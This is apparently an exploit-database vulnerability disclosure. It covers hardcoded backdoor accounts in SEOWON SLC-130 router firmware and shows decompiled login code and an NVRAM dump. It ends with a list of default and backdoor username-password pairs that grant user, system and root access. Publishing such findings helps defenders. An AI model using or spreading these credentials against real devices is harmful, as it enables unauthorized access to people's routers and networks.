# Exploit Title: SEOWON-SLC130 Multiple backdoors
# Date: 29/11/2018
# Exploit Author: Koorosh Ghorbani
# Vendor Homepage: http://mobinnet.ir/
# Firmware Version: 1.0.13
Disassembled `login.cgi` codes shows multiple backdoors with different privileges .
if ( strcmp("user", privilege) && strcmp("VIP", privilege) )
{
if ( strcmp("admin", privilege) )
{
if ( !strcmp("system", privilege) || !strcmp("Administrator", privilege) )
read_ucfg_xml(0, (int)"/seowon/user/password/system", (int)&s);
}
else
{
read_ucfg_xml(0, (int)"/seowon/user/password/admin", (int)&s);
}
}else{
read_ucfg_xml(0, (int)"/seowon/user/password/user", (int)&s);
}
read_ucfg_xml refers to "NVRAM" , the NVRAM dump shows following credentials :
<user>
<id>
<user>VIP</user>
<system>Root</system>
<admin>admin</admin>
<root>root</root>
</id>
<password>
<user>V!P83869000</user>
<system>PWDd0N~WH*4G#DN</system>
<admin>admin</admin>
<root>gksrmf28</root>
</password>
<enable>
<user>1</user>
<system>1</system>
<admin>1</admin>
<root>0</root>
</enable>
</user>
Default Credentials :
admin:admin
Backdoor Credentials :
VIP:V!P83869000 (user privilege)
Root:PWDd0N~WH*4G#DN (system privilege)
root:gksrmf28 (root privilege (disabled))
